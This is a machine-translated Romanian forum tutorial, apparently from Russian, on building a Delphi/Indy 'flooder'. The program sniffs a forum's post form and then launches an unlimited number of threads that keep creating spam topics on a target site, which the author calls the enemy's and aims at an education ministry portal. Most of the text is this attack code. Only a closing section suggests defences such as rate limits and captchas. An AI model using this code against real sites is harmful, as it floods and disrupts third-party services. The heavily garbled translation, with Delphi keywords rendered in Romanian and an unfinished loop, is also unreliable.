Noi scriem un floodor

Bine, destule călugărițe să renunțe, e timpul să lucrăm. Deci, floodorul nostru va lăsa multe mesaje pe site-ul infractorului, cum ar fi ministrul educației - ***. Sau mai degrabă va crea o grămadă de subiecte cu inscripția corespunzătoare. Vom scrie un flooder pe Delphi, nu fără ajutorul lui Indy, știu că WinSock este mai abrupt, dar de ce Flenov poate scrie un poștaș cu ajutorul componentelor, dar nu pot să pot înota? (care citesc ochii lui Delphi) [akera, el ma va intelege).

Acum avem două opțiuni pentru dezvoltarea evenimentelor.
Opțiunea 1 am pus snifferul HTTP. De exemplu, o duză pe IE, Google vă va ajuta și creierul dumneavoastră.
2. Leagăn, snifferul a fost leneș și nu am vrut să strălucească pe forum =). Așa că am salvat pagina pe șurub, l-am fugit pe Denver, am creat o gazdă virtuală și am împins pagina acolo. Mai departe, în același director ca și pagina salvată, a fost creat un fișier
proba.php (de ce veți vedea atunci). Mai mult, în opera deschis sortsy pagină și a lansat o căutare pentru fraza următoare :? / Img / forum / actiune = forum_add_messageforum_id = 30- este o modalitate de zero, care este responsabil pentru crearea de subiecte și a schimbat-l la /proba.php (deci de aceea l-am găsit acest misterios = )). Deci, acum în fișierul proba.php am pus acest cod:


acest lucru afișează doar tot ceea ce a venit în cererea POST =). Apoi a deschis pagina nou creată în operă, a completat formularul și a văzut că următoarele sunt transferate pe server:
mes_author_name = vovchik // porecla specificată
mes_author_mail =*****@***.ru // specificat
user_login = // login (nu completați)
user_password = // parola (nu completați)
mes_subject = Ege în cuptor // topic
mes_text = ***** // mesaj

în general, totul este clar lăsat să facă același lucru, dar cu ajutorul lui Delphi. Deci, vom crea cel de-al n-lea număr de threaduri (în Delphi fiecare fir este un obiect și acest lucru ne va ajuta foarte mult). Fiecare fir va "bombarda" site-ul nostru cu mesajele tale. Imaginați-vă, am avut 2 mesaje pe secundă cu canalul de ieșire sub formă de GPRS și numărul de fire în 50 de bucăți! E bine că m-am oprit la timp! Deci, acum, să vedem cum se încarcă acest "miracol". Pentru aceasta, abandonați componenta TIdHTTP din fila Indy Clients în formular. Avem nevoie de acest lucru pentru a ști care fișiere vor fi conectate la proiectul nostru. Acum creați un fir nou (File-> New-> Other-> Object Thread). Acum salvați proiectul în șurub (acesta este un pas obligatoriu). Deci, acum vedeți un bloc de utilizări în fișierul flux? copiați tot acolo din același bloc din fișierul în care este descrisă forma principală (de aceea am aruncat o componentă inutilă pe formular). Deci, acum uita-te la descrierea clasei firului dvs. ar trebui să vedeți ceva similar cu:

tip
TFluder = clasă (TThread)
privat

protejat
procedura Execute; suprascrie;
se încheie;

schimba totul pentru a:
tip
Fluder = clasă (TThread)
IdHTTP1: TIdHTTP;
IdCookieManager1: TIdCookieManager;
procedura IdHTTP1Redirect (Expeditor: TObject; var dest: String;
var NumRedirect: Integer; var Handled: Boolean;
var VMethod: TIdHTTPMethod);
privat

protejat
procedura Execute; suprascrie;
se încheie;
(nu uitați că numele firului poate fi diferit pentru dvs.!)
mai departe apăsăm pe tasta ctrl + Shift + C și primim astfel "pregătirea" evenimentului Redirect este util pentru noi:
procedura Fluder.IdHTTP1Redirect (Expeditor: TObject; var dest: String;
var NumRedirect: Integer; var Handled: Boolean;
var VMethod: TIdHTTPMethod);
începe
Manipulate: = TRUE;
se încheie;

după cum înțelegeți, va trebui să pregătim actuala linie:
Manipulate: = TRUE; este necesar ca după ce primim o redirecționare de la server, am procesat corect = =).

Apoi, avem procedura de procedură Fluder.Execute; aceasta este procedura de la care firul nostru va începe executarea. Aici vom "bombarda" serverul. Dar înainte de această teorie!

Deci, componenta TIdHTTP noi nu este pe formular, și, prin urmare, nu vor fi create în mod automat, va trebui să creeze un „manual“, precum și un obiect obișnuit. Dar sensul nu este suficient, el trebuie să fie altceva să treacă, pentru aceasta are doua metode funcției post (AURL: string; const ASource: TStrings): string;

și funcția TIdCustomHTTP.Get (AURL: șir): șir;
primul are doi parametri, iar al doilea are unul. Ambii vor returna ceea ce serverul ne-a returnat după solicitare. Dacă metoda GET, totul este clar, totul este datele sunt transmise printr-un singur parametru, atunci metoda POST clarificările necesare, este nevoie de al doilea parametru pentru a transmite date prin intermediul unei cereri POST, iar acestea ar trebui să fie stocate într-un obiect TStrings sau descendenții săi (TStringList);. Cred că totul este clar și explicat, așa că lupta cu prietenul meu. Acum, în procedura Execute, puneți cu curaj acest cod:
procedura Fluder.Execute;
var
txt: TStringList;
începe
IdHTTP1: = TIdHTTPCreate (NIL); // Acesta este clientul nostru HTTP
IdCookieManager1: = TIdCookieManager.Create (NIL); // Este necesar uneori un manager de gătit

txt: = TStringList.Create; // Va exista o cerere POST

în timp ce (Terminated = False) se face bucla principală // sobsna
începe
txt.add ('mes_author_name =' + NumeStr); // Variabile
txt.Add ('mes_author_mail =' + MailStr);
txt.Add ('user_login =');
txt.Add ('user_password =');
txt.Add ('mes_subject =' + TemaStr);
txt.Add ('mes_text =' + TextStr);

acum suntem aproape gata, trebuie doar să aruncăm un buton pe formular și să introducem următorul cod:
procedura TForm1.Button1Click (expeditor: TObject);
var
i: întreg; // contra
Cout: întreg; // numărul de fire
începe

încerca
Cout: = StrToInt (Edit1.Text); // încearcă să găsească numărul de fire de la Edit a
cu excepția
ShowMEssage (tastați corect!);
ieșire;
se încheie;

NumeStr: = NickEdit.Text; // Cred că ați înțeles că toate variabilele pe care le iau de la Edit
MailStr: = MailEdit.Text;
TemaStr: = TemaEdit.Text;
TextStr: = MessEdit.Text;

SetLength (Potoks, Cout); // Schimbați lungimea matricei de indicatori

pentru i: = 0 la Cout-1 nu // activați inundațiile
începe
Potoks [i]: = Fluder.Create (adevărat);
Potoks [i] .Resume;
Potoks [i] .Prioritate: = tpLower;
se încheie;
se încheie;

Aici creăm un număr nelimitat de fire și le smulgem site-ul inamicului!
Înainte de a compila, adăugați următoarele la variabilele globale:
var
Form1: TForm1;
Potoks: gama de Fluder; // Array de indicatori de flux
NumeStr, MailStr, TemaStr, TextStr: șir; // Linile unde sunt stocate variabilele pentru // transferul pe server, le iau de la Edit

Cred că se va înțelege în jurul dacă ar gândi actual de ea, cu siguranță, nu este o metodă perfectă, și este potrivit doar pentru un anumit număr de motoare de pe forum, dar este minunat!
Moral: amintiți-vă de inundații - acest lucru nu este uman! și nu este frumos să înveți să te aperi de asta! dar nu mai vreau sa va incurajez sa actionati. Vreau doar sa subliniez perfectiunea unor site-uri.

Informații pentru examinare: Deci, de ce am reușit să scriu așa de repede un flood? Administratorul portalului este vinovat de acest lucru, desigur, asemănarea cu forumul pe care admin-ul la pus, nu are bariere pentru astfel de fluderasts ca eu =). Dreptul de a lăsa mesaje pe un forum ar trebui să aibă doar utilizatorii înregistrați! iar motorul nu ar trebui să primească mai mult de 2-3 mesaje pe minut de la același utilizator, o persoană nu poate scrie fizic mai multe mesaje! Când înregistrați un utilizator, ar trebui să existe o captură, cu siguranță nu este de încredere, dar va proteja împotriva celor mai multe astfel de "atacuri". În general, nu faceți astfel de greșeli.

Sfârșit fericit. FTC. încă mai au abolit examenul într-un litru acum vom lua în mod tradițional, și este bine că nu am avut timp să se aplice pentru alte scopuri Fluder! (care este doar un pic =)).
Câteva cuvinte către moderator:
Îmi cer scuze în avans pentru limba mea rusă, nu am avut niciodată un triplu peste el și tot controlul a fost copiat de la colegi de clasă, așa că îmi cer scuze ...

Articole similare